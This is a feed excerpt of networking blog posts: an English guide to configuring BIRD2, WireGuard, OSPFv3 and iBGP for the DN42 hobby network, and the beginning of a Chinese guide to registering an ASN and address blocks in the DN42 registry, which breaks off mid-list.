&lt;h1&gt;Update Bird2 to v2.16 or Above&lt;/h1&gt;
&lt;p&gt;To use IPv6 Link-Local addresses to transmit IPv4 OSPF data, Bird v2.16 or later is required. Here are the steps to update:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt -y install apt-transport-https ca-certificates wget lsb-release
sudo wget -O /usr/share/keyrings/cznic-labs-pkg.gpg https://pkg.labs.nic.cz/gpg

echo &quot;deb [signed-by=/usr/share/keyrings/cznic-labs-pkg.gpg] https://pkg.labs.nic.cz/bird2 $(lsb_release -sc) main&quot; | sudo tee /etc/apt/sources.list.d/cznic-labs-bird2.list

sudo apt update &amp;amp;&amp;amp; sudo apt install bird2 -y
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Tunnel Configuration&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;[Interface]
PrivateKey = &amp;lt;Local WireGuard Private Key&amp;gt;
ListenPort = &amp;lt;Listen Port&amp;gt;
Table = off
Address = &amp;lt;IPv6 LLA&amp;gt;/64
PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0

[Peer]
PublicKey = &amp;lt;Peer Public Key&amp;gt;
Endpoint = &amp;lt;Peer Public Endpoint&amp;gt;
AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 172.31.0.0/16, fd00::/8, fe00::/8, ff02::5
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ff02::5&lt;/code&gt;is the OSPFv3 router-specific link-local multicast address and should be included in &lt;code&gt;AllowedIPs&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If you&apos;re using Bird versions earlier than v2.16, you&apos;ll need to add an IPv4 address for the tunnel as well. See the example below:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;WireGuard Configuration Example with IPv4&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Interface]
PrivateKey = &amp;lt;Local WireGuard Private Key&amp;gt;
ListenPort = &amp;lt;Listen Port&amp;gt;
Table = off
Address = &amp;lt;IPv6 LLA&amp;gt;/64
PostUp = ip addr add 100.64.0.225/32 peer 100.64.0.226/32 dev %i
PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0

[Peer]
PublicKey = &amp;lt;Peer Public Key&amp;gt;
Endpoint = &amp;lt;Peer Public Endpoint&amp;gt;
AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 100.64.0.0/16, 172.31.0.0/16, fd00::/8, fe00::/8, ff02::5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Please replace &lt;code&gt;100.64.0.225&lt;/code&gt; and &lt;code&gt;100.64.0.226&lt;/code&gt; with your local and peer IPv4 addresses, and remember to add &lt;code&gt;AllowedIPs&lt;/code&gt;.&lt;/p&gt;
&lt;h1&gt;Enable OSPF&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;You should have already configured basic Bird settings as described in the previous article.&lt;/em&gt;&lt;br /&gt;
Create a new file called &lt;code&gt;ospf.conf&lt;/code&gt; under &lt;code&gt;/etc/bird&lt;/code&gt; and add the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol ospf v3 &amp;lt;name&amp;gt; {
    ipv4 {
        import where is_self_net() &amp;amp;&amp;amp; source != RTS_BGP;
        export where is_self_net() &amp;amp;&amp;amp; source != RTS_BGP;
    };

    include &quot;/etc/bird/ospf/*&quot;;
};

protocol ospf v3 &amp;lt;name&amp;gt; {
    ipv6 {
        import where is_self_net_v6() &amp;amp;&amp;amp; source != RTS_BGP;
        export where is_self_net_v6() &amp;amp;&amp;amp; source != RTS_BGP;
    };

    include &quot;/etc/bird/ospf/*&quot;;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Theoretically, OSPF v2 should be used for handling IPv4, but since we need to communicate IPv4 using IPv6 Link-Local addresses, we are using OSPF v3 for IPv4 in this case as well.&lt;/li&gt;
&lt;li&gt;The filter rules ensure that &lt;strong&gt;only routes within the local network segment&lt;/strong&gt; are allowed to propagate through OSPF, and &lt;strong&gt;routes from external BGP protocols are filtered out&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Never use import all; export all; indiscriminately, as this could lead to route hijacking and affect the entire DN42 network.&lt;/strong&gt; OSPF should only handle internal network routes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/etc/bird/ospf.conf&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol ospf v3 dn42_iyoroynet_ospf {
    ipv4 {
        import where is_self_net() &amp;amp;&amp;amp; source != RTS_BGP;
        export where is_self_net() &amp;amp;&amp;amp; source != RTS_BGP;
    };

    include &quot;/etc/bird/ospf/*&quot;;
};

protocol ospf v3 dn42_iyoroynet_ospf6 {
    ipv6 {
        import where is_self_net_v6() &amp;amp;&amp;amp; source != RTS_BGP;
        export where is_self_net_v6() &amp;amp;&amp;amp; source != RTS_BGP;
    };

    include &quot;/etc/bird/ospf/*&quot;;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, create the &lt;code&gt;/etc/bird/ospf&lt;/code&gt; folder and then create an area configuration file (e.g., &lt;code&gt;/etc/bird/ospf/backbone.conf&lt;/code&gt;) with the following content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;area 0.0.0.0 {
    interface &quot;&amp;lt;DN42 dummy interface&amp;gt;&quot; { stub; };
    interface &quot;&amp;lt;wg0 interface&amp;gt;&quot; {
        cost 80; # Modify according to your network situation
        type ptp;
    };
    interface &quot;&amp;lt;wg1 interface&amp;gt;&quot; {
        cost 100; # Modify according to your network situation
        type ptp;
    };
    # Continue for other interfaces
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;0.0.0.0&lt;/code&gt; area represents the backbone network.&lt;/li&gt;
&lt;li&gt;he dummy interface here refers to the &lt;strong&gt;DN42 virtual interface&lt;/strong&gt; mentioned in the &lt;a href=&quot;https://www.iyoroy.cn/archives/84/&quot;&gt;previous article&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;cost&lt;/code&gt; value is typically used for &lt;a href=&quot;https://edu.51cto.com/article/note/3019.html&quot;&gt;cost&lt;/a&gt; calculation but in DN42&apos;s case, where bandwidth is less critical but latency is more important, you can directly assign the latency value. OSPF will automatically choose the route with the lowest cost (sum of the cost values).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/etc/bird/ospf/backbone.conf&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;area 0.0.0.0 {
    interface &quot;dn42&quot; { stub; };
    interface &quot;dn42_hkg&quot; {
        cost 80;
        type ptp;            
    };
    interface &quot;dn42_hfe&quot; {
        cost 150;
        type ptp;
    };
    interface &quot;dn42_lax&quot;{
        cost 100;
        type ptp;
    };
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, open &lt;code&gt;/etc/bird/bird.conf&lt;/code&gt; and add the following to include the OSPF configuration file at the end:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;include &quot;ospf.conf&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run &lt;code&gt;birdc configure&lt;/code&gt;, and then &lt;code&gt;birdc show protocols&lt;/code&gt; should show the OSPF status as &lt;strong&gt;Running&lt;/strong&gt;. If not, check the configuration steps for errors.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/07/2780979068.png&quot; alt=&quot;2.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At this point, you should be able to ping between two non-directly connected machines:
&lt;img src=&quot;./images/2025/07/2307578163.png&quot; alt=&quot;3.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Enable iBGP&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Before establishing multiple peer connections, each of your nodes must first have complete knowledge of the internal AS topology. This involves configuring another key component: internal BGP (iBGP).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Necessity of iBGP&lt;/h2&gt;
&lt;p&gt;iBGP ensures that all routers within the AS have complete knowledge of external destination routes. It ensures that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Internal routers can select the best exit path.&lt;/li&gt;
&lt;li&gt;Traffic is correctly routed to the boundary routers responsible for specific external networks.&lt;/li&gt;
&lt;li&gt;Even if there are multiple boundary routers connected to the same external network, internal routers can choose the best exit based on policies.&lt;/li&gt;
&lt;li&gt;Compared to using a default route pointing to the border router within the AS, iBGP provides precise external route information, allowing internal routers to make more intelligent forwarding decisions.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Disadvantages and Solutions&lt;/h2&gt;
&lt;p&gt;Ordinary iBGP does not readvertise a route learned from one iBGP neighbor to another. Without route reflection, confederations, or a similar mechanism, this requires &lt;strong&gt;a full mesh of iBGP sessions&lt;/strong&gt;. For n nodes, that is $\frac{n(n-1)}{2}$ sessions &lt;s&gt;although configuring them is still easier than configuring tunnels once OSPF is set up&lt;/s&gt;.&lt;br /&gt;
Solutions include:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Using a &lt;strong&gt;Route Reflector (RR)&lt;/strong&gt; to reflect iBGP routes and reduce the number of sessions. A single RR introduces a failure risk, but multiple RRs can provide redundancy; the impact of an outage also depends on topology and route retention.&lt;/li&gt;
&lt;li&gt;Using &lt;strong&gt;BGP Confederation&lt;/strong&gt;: This involves virtually dividing the routers within the AS into sub-ASes, treating the connections between routers as eBGP, and finally stripping the internal AS path information when advertising routes externally.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I haven&apos;t tried the latter two solutions. Here are some potentially useful reference articles. This article focuses on the configuration of iBGP.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://lantian.pub/en/article/modify-website/dn42-experimental-network-2020.lantian/&quot;&gt;DN42 Experimental Network: Intro and Registration (Updated 2022-12) - Lan Tian @ Blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lantian.pub/en/article/modify-website/bird-confederation.lantian/&quot;&gt;Configure BGP Confederation &amp;amp; Fake Confederation in Bird (Updated 2020-06-07) - Lan Tian @ Blog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Writing the iBGP Configuration File&lt;/h2&gt;
&lt;p&gt;Create a new file &lt;code&gt;ibgp.conf&lt;/code&gt; in &lt;code&gt;/etc/bird&lt;/code&gt; and fill it with the following content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;template bgp ibgpeers {
    local as OWNAS;
    ipv4 {
        import where source = RTS_BGP &amp;amp;&amp;amp; is_valid_network() &amp;amp;&amp;amp; !is_self_net();
        export where source = RTS_BGP &amp;amp;&amp;amp; is_valid_network() &amp;amp;&amp;amp; !is_self_net();
        next hop self;
        extended next hop;
    };
    ipv6 {
        import where source = RTS_BGP &amp;amp;&amp;amp; is_valid_network_v6() &amp;amp;&amp;amp; !is_self_net_v6();
        export where source = RTS_BGP &amp;amp;&amp;amp; is_valid_network_v6() &amp;amp;&amp;amp; !is_self_net_v6();
        next hop self;
    };
};

include &quot;ibgp/*&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;The import and export filters ensure that iBGP only processes routes learned via the BGP protocol and filters out IGP routes to prevent loops.&lt;/li&gt;
&lt;li&gt;This topology does not distribute external neighbors&apos; addresses internally, so it needs &lt;code&gt;next hop self&lt;/code&gt; to make the border router the next hop reachable through the IGP. It is not mandatory in every iBGP deployment; the requirement is that the next hop can be resolved and reached.&lt;/li&gt;
&lt;li&gt;Because I want to use IPv6 addresses to establish MP-BGP and route IPv4 over IPv6, &lt;code&gt;extended next hop&lt;/code&gt; is enabled for IPv4.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Next, create the &lt;code&gt;/etc/bird/ibgp&lt;/code&gt; directory. Inside, create an iBGP Peer configuration file for each node:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol bgp &apos;dn42_ibgp_&amp;lt;Node Name&amp;gt;&apos; from ibgpeers{
    neighbor &amp;lt;Corresponding Node&apos;s IPv6 ULA Address&amp;gt; as OWNAS;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/etc/bird/ibgp/hkg.conf&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol bgp &apos;dn42_ibgp_HKG&apos; from ibgpeers{
    neighbor fd18:3e15:61d0::1 as OWNAS;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Each node needs to establish (n-1) iBGP connections, ensuring connectivity with all other machines within the AS. This is why ULA addresses are used.&lt;/li&gt;
&lt;li&gt;Using ULA addresses reachable through OSPF allows iBGP to use another path if the direct WireGuard link fails, provided an alternative path remains available. ULA addressing alone does not provide redundancy.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Finally, add the inclusion of &lt;code&gt;ibgp.conf&lt;/code&gt; in &lt;code&gt;/etc/bird/bird.conf&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;include &quot;ibgp.conf&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And run &lt;code&gt;birdc configure&lt;/code&gt; to apply the configuration.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://soha.moe/post/bird-bgp-kickstart.html&quot;&gt;BIRD 与 BGP 的新手开场 - 海上的宫殿&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://milu.ink/519.html&quot;&gt;萌新入坑 DN42 之 —— 基于 tailscale + vxlan + OSPF 的组网 – 米露小窝&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://baimeow.cn/posts/dn11/configureospf/&quot;&gt;使用 Bird2 配置 WireGuard + OSPF 实现网络的高可用 | bs&apos; realm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lantian.pub/article/modify-website/dn42-experimental-network-2020.lantian/&quot;&gt;DN42 实验网络介绍及注册教程（2022-12 更新） - Lan Tian @ Blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lantian.pub/article/modify-website/how-to-kill-the-dn42-network.lantian/&quot;&gt;如何引爆 DN42 网络（2023-05-12 更新） - Lan Tian @ Blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lantian.pub/article/modify-website/bird-confederation.lantian/&quot;&gt;Bird 配置 BGP Confederation，及模拟 Confederation（2020-06-07 更新） - Lan Tian @ Blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://edu.51cto.com/article/note/3019.html&quot;&gt;深入解析OSPF路径开销、优先级和计时器 - 51CTO&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bird.nic.cz/news/2024-12-07-new-release-2.16/&quot;&gt;New release 2.16 | BIRD Internet Routing Daemon&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bird.xmsl.dev/docs/user-guide/1-2-installing.html&quot;&gt;第一章·第二节 如何在 Linux 上安装最新版本的 BIRD？ | BIRD 中文文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.xeiu.top/archives/393&quot;&gt;[DN42] 使用 OSPF ptp 搭建内网与IBGP配置 – Xe_iu&apos;s Blog | Xe_iu的杂物间&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.liuzhen932.top/posts/dn42-multiple-servers-ibgp-igps/&quot;&gt;[译] dn42 多服务器环境中的 iBGP 与 IGP 配置 | liuzhen932 的小窝&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>DN42探究日记 - Ep.1 加入DN42网络</title><link>https://blog.iyoroy.cn/posts/84/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/84/</guid><description>记录加入 DN42 的过程：在 Registry 注册 ASN 和地址资源，配置 BIRD、ROA 检查与 WireGuard，并与其他成员建立 BGP 对等连接。</description><pubDate>Sat, 28 Jun 2025 13:19:00 GMT</pubDate><content:encoded>&lt;h1&gt;写在前面&lt;/h1&gt;
&lt;p&gt;本人是BGP小白，文章中可能会存在&lt;strong&gt;不严谨内容/小白理解/低级错误&lt;/strong&gt;，请诸位大佬们手下留情。若发现存在问题，您愿意的话可以&lt;a href=&quot;mailto:i@iyoroy.cn&quot;&gt;邮件联系我&lt;/a&gt;，我会在第一时间更正。&lt;strong&gt;如果您不能接受，建议现在就关闭此文章&lt;/strong&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;欢迎与我建立对等连接！详情请查看：&lt;a href=&quot;https://www.iyoroy.cn/dn42.html&quot;&gt;iYoRoy DN42 Network&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;想研究BGP，奈何租一个ASN和IP段实在是太贵了，又怕自己&lt;a href=&quot;https://blog.cloudflare.com/how-verizon-and-a-bgp-optimizer-knocked-large-parts-of-the-internet-offline-today/&quot;&gt;因为配置错误干掉半个互联网&lt;/a&gt;，因此决定研究一下DN42这个虚拟的网络。DN42是个大型去中心化网络，使用BGP协议建立路由，和当今互联网的结构很相像，因此适合用于BGP等网络技术学习。在DN42中，每个人都将扮演ISP（网络服务提供商）的角色，和其他用户Peer，以加入并参与建设整个DN42网络。DN42运行在&lt;code&gt;172.20.0.0/14&lt;/code&gt;和&lt;code&gt;fd00::/8&lt;/code&gt;上，这两个地址都是内网地址，因此不会影响到正常的互联网。&lt;/p&gt;
&lt;h1&gt;注册&lt;/h1&gt;
&lt;p&gt;你需要会使用基础的git指令、GPG、Linux，并且最好启用GPG签名Commit。&lt;br /&gt;
有Git使用基础的话可以参考我的commit：&lt;a href=&quot;https://git.dn42.dev/dn42/registry/commit/d1f9046ecbf358f5e45941f2e046c6a23db3ac45&quot;&gt;Add AS4242422024 · d1f9046ecb - registry - dn42 git&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Fork并克隆DN42注册表Git仓库&lt;/h2&gt;
&lt;p&gt;在&lt;a href=&quot;https://git.dn42.dev/&quot;&gt;dn42 git&lt;/a&gt;注册一个账号，并且Fork &lt;a href=&quot;https://git.dn42.dev/dn42/registry&quot;&gt;dn42/registry&lt;/a&gt;仓库。Clone下Fork出来的仓库并进入。&lt;/p&gt;
&lt;h2&gt;注册联系人&lt;/h2&gt;
&lt;p&gt;在&lt;code&gt;data/person&lt;/code&gt;下创建文件&lt;code&gt;&amp;lt;昵称&amp;gt;-DN42&lt;/code&gt;，填入如下内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;person:             &amp;lt;姓名&amp;gt;
e-mail:             &amp;lt;邮箱&amp;gt;
pgp-fingerprint:    &amp;lt;GPG密钥指纹&amp;gt;
nic-hdl:            &amp;lt;NIC 句柄&amp;gt;
mnt-by:             &amp;lt;维护者&amp;gt;
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;person&lt;/code&gt;: 名称&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e-mail&lt;/code&gt;: 邮箱&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pgp-fingerprint&lt;/code&gt;: GPG密钥指纹，会被用于一些认证服务&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nic-hdl&lt;/code&gt;: &lt;a href=&quot;https://en.wikipedia.org/wiki/NIC_handle&quot;&gt;NIC句柄&lt;/a&gt;，指向文件本身，直接填写当前文件名即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mnt-by&lt;/code&gt;: 由谁维护，指向下文&lt;strong&gt;注册维护者&lt;/strong&gt;一节中的维护者信息&lt;/li&gt;
&lt;li&gt;&lt;code&gt;source&lt;/code&gt;: 来源，保持&lt;code&gt;DN42&lt;/code&gt;即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;www&lt;/code&gt;: 可选，可填网页地址&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;示例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://git.dn42.dev/dn42/registry/src/branch/master/data/person/IYOROY-DN42&quot;&gt;&lt;code&gt;data/person/IYOROY-DN42&lt;/code&gt; @ dn42/registry@master&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;person:             Kagura iYoRoy
e-mail:             i@iyoroy.cn
www:                https://www.iyoroy.cn
pgp-fingerprint:    3ECCFFDEC2CB4CB8DA8089BE9AF2F2E03CE8FD67
nic-hdl:            IYOROY-DN42
mnt-by:             IYOROY-MNT
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;注册维护者&lt;/h2&gt;
&lt;p&gt;创建文件&lt;code&gt;data/mntner/&amp;lt;昵称&amp;gt;-MNT&lt;/code&gt;，并填入如下内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mntner:             &amp;lt;昵称&amp;gt;-MNT
admin-c:            &amp;lt;联系人&amp;gt;
tech-c:             &amp;lt;联系人&amp;gt;
auth:               &amp;lt;验证方式&amp;gt;
mnt-by:             &amp;lt;维护者&amp;gt;
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;mntner&lt;/code&gt;: 维护者名称，一般与文件名相同即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;admin-c&lt;/code&gt;: 管理员联系信息，指向&lt;code&gt;person&lt;/code&gt;文件夹中的文件，这里填上文&lt;strong&gt;注册联系人&lt;/strong&gt;一节里的文件名即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tech-c&lt;/code&gt;: 技术人员联系信息，指向&lt;code&gt;person&lt;/code&gt;文件夹中的文件，这里填上文&lt;strong&gt;注册联系人&lt;/strong&gt;一节里的文件名即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;auth&lt;/code&gt;: 验证方式，支持pgp或者ssh-key&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mnt-by&lt;/code&gt;: 由谁维护，一般指向文件名本身即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;source&lt;/code&gt;: 来源，保持&lt;code&gt;DN42&lt;/code&gt;即可&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;示例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://git.dn42.dev/dn42/registry/src/branch/master/data/mntner/IYOROY-MNT&quot;&gt;&lt;code&gt;data/mntner/IYOROY-MNT&lt;/code&gt; @ dn42/registry@master&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mntner:             IYOROY-MNT
admin-c:            IYOROY-DN42
tech-c:             IYOROY-DN42
auth:               pgp-fingerprint 3ECCFFDEC2CB4CB8DA8089BE9AF2F2E03CE8FD67
mnt-by:             IYOROY-MNT
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;注册ASN&lt;/h2&gt;
&lt;p&gt;在公网上，&lt;strong&gt;4200000000 - 4294967294&lt;/strong&gt;为ASN保留范围。DN42使用了&lt;strong&gt;4242420000 - 4242429999&lt;/strong&gt;，而目前开放注册的是&lt;strong&gt;4242420000 - 4242423999&lt;/strong&gt;。官方不建议自己寻找可用ASN，而是推荐使用Burble的&lt;a href=&quot;https://explorer.burble.com/free#/asn&quot;&gt;DN42 Free ASN Explorer&lt;/a&gt;，从中选取可用的ASN注册。&lt;br /&gt;
找好心仪的ASN后在&lt;code&gt;data/aut-num&lt;/code&gt;创建&lt;code&gt;&amp;lt;ASN，包含AS字母&amp;gt;&lt;/code&gt;文件，填写如下内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;aut-num:            &amp;lt;ASN&amp;gt;
as-name:            &amp;lt;自治系统名称&amp;gt;
descr:              &amp;lt;自治系统描述&amp;gt;
admin-c:            &amp;lt;管理员NIC句柄&amp;gt;
tech-c:             &amp;lt;技术人员NIC句柄&amp;gt;
mnt-by:             &amp;lt;维护者&amp;gt;
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;aut-num&lt;/code&gt;: 你选择的ASN，&lt;strong&gt;包含AS前缀&lt;/strong&gt;。应该是AS424242xxxx的样式&lt;/li&gt;
&lt;li&gt;&lt;code&gt;as-name&lt;/code&gt;: 自治系统名称&lt;/li&gt;
&lt;li&gt;&lt;code&gt;descr&lt;/code&gt;: 自治系统描述，可以有空格&lt;/li&gt;
&lt;li&gt;&lt;code&gt;admin-c&lt;/code&gt;: 管理员联系信息，指向&lt;code&gt;person&lt;/code&gt;文件夹中的文件，这里填上文&lt;strong&gt;注册联系人&lt;/strong&gt;一节里的文件名即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tech-c&lt;/code&gt;: 技术人员联系信息，指向&lt;code&gt;person&lt;/code&gt;文件夹中的文件，这里填上文&lt;strong&gt;注册联系人&lt;/strong&gt;一节里的文件名即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mnt-by&lt;/code&gt;: 由谁维护，指向上文&lt;strong&gt;创建维护者&lt;/strong&gt;一节中的文件名&lt;/li&gt;
&lt;li&gt;&lt;code&gt;source&lt;/code&gt;: 来源，保持&lt;code&gt;DN42&lt;/code&gt;即可&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;示例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://git.dn42.dev/dn42/registry/src/branch/master/data/aut-num/AS4242422024&quot;&gt;&lt;code&gt;data/aut-num/AS4242422024&lt;/code&gt; @ dn42/registry@master&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;aut-num:            AS4242422024
as-name:            IYOROYNET-AS-DN42
descr:              iYoRoy DN42 Network
admin-c:            IYOROY-DN42
tech-c:             IYOROY-DN42
mnt-by:             IYOROY-MNT
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;注册IPv4地址块并添加路由&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;如果你不想要注册IPv4，可以忽略本节&lt;/em&gt;
官方提供了一个用于检索可用地址块的工具：&lt;a href=&quot;https://explorer.burble.com/free#/4&quot;&gt;DN42 Free IPv4 Explorer &lt;/a&gt;。同样不建议手动指定，而是建议用检索工具检索出来的可用地址块。&lt;br /&gt;
DN42同样面临IPv4地址短缺，所以请尽量按需注册。一般而言，一个/27地址块包含30个IPv4地址就够用了，如果是小型网络可以申请/28（14个可用地址）和/29（6个可用地址）。能直接申请的地址块最大是/26，也就是62个地址，若申请/25、/24则需要提交申请然后等待审核。详情可参考：&lt;a href=&quot;https://lantian.pub/article/modify-website/dn42-experimental-network-2020.lantian/&quot;&gt;DN42 实验网络介绍及注册教程（2022-12 更新） - Lan Tian @ Blog&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;选定你的IPv4地址块，然后在&lt;code&gt;data/inetnum&lt;/code&gt;创建一个文件，命名为IPv4地址块的CIDR格式，并使用&lt;code&gt;_&lt;/code&gt;代替&lt;code&gt;/&lt;/code&gt;（如：我申请的IPv4地址块为172.20.234.224/28，则文件名为&lt;code&gt;172.20.234.224_28&lt;/code&gt;），填入内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;inetnum:            &amp;lt;IPv4地址块第一个地址&amp;gt; - &amp;lt;IPv4地址块最后一个地址&amp;gt;
cidr:               &amp;lt;IPv4地址块CIDR格式&amp;gt;
netname:            &amp;lt;IPv4地址块名称&amp;gt;
descr:              &amp;lt;IPv4地址块描述&amp;gt;
country:            &amp;lt;IPv4地址块所属国家代码&amp;gt;
admin-c:            &amp;lt;管理员NIC句柄&amp;gt;
tech-c:             &amp;lt;技术人员NIC句柄&amp;gt;
mnt-by:             &amp;lt;维护者&amp;gt;
status:             ASSIGNED
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;inetnum&lt;/code&gt;: IPv4地址范围，从第一个地址到最后一个地址，中间用&lt;code&gt;-&lt;/code&gt;连接&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cidr&lt;/code&gt;: IPv4地址块CIDR格式，&lt;strong&gt;不需要&lt;/strong&gt;用&lt;code&gt;_&lt;/code&gt;代替&lt;code&gt;/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;netname&lt;/code&gt;: IPv4地址块名称，自行填写即可，无特殊要求&lt;/li&gt;
&lt;li&gt;&lt;code&gt;descr&lt;/code&gt;: IPv4地址块描述，中间可以有空格&lt;/li&gt;
&lt;li&gt;&lt;code&gt;country&lt;/code&gt;: &lt;a href=&quot;https://zh.wikipedia.org/wiki/ISO_3166&quot;&gt;ISO 3166&lt;/a&gt;中的两字符国家代码，中国就填&lt;code&gt;CN&lt;/code&gt;&lt;/li&gt;
